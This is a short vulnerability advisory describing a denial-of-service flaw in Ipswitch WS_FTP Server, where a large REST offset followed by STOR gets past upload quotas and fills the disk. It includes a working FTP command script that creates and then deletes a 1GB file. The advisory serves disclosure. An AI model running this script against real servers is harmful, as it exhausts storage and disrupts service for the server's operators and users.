How to crash a harddisk - the Ipswitch WS_FTP Server way

Advisory Name: How to crash a harddisk - the Ipswitch WS_FTP Server way
Impact       : Denial of Service
Discovered by: Hugh Mann [email protected]
Tested progs : Ipswitch WS_FTP Server 4.0.2.EVAL

Description

It's possible for any user with write access to a directory, even when 
there's a limit to how much data the user can upload, to use up all 
available disk space on any partition it can upload to. Even a slow modem 
user can do this because the user only needs to send a few bytes to the 
server.

Details
~~~~~~~
The REST command is used to change the file pointer where new data will be 
written to the file next time the user sends an upload command such as STOR. 
A user can create arbitrary sized files (up to 2^64-1 bytes) by specifying a 
large value as the argument to REST and then sending a small file with STOR.

WS_FTP Server doesn't count the extra bytes starting from the end of the 
original file to the new file pointer location when checking if the user can 
upload more bytes. The next time the user tries to upload a file, WS_FTP 
Server will give an error.

Exploit
~~~~~~~
Save this in a file called ftpcmds.txt, after changing the FTP server name, 
username, and password.

<<<<<<<<<<<<
open ftp.server.mob
username
password
!echo.>2byte.txt
!echo.>2byte_2.txt
dir
put 2byte_2.txt
dir
del 2byte_2.txt
quote REST 1073741822
put 2byte.txt
dir
put 2byte_2.txt
del 2byte.txt
del 2byte_2.txt
!del 2byte.txt
!del 2byte_2.txt
quit
>>>>>>>>>>>>

Then start it:

C:\>ftp -s:ftpcmds.txt

to see the result. It will create a 1GB file and then delete it.

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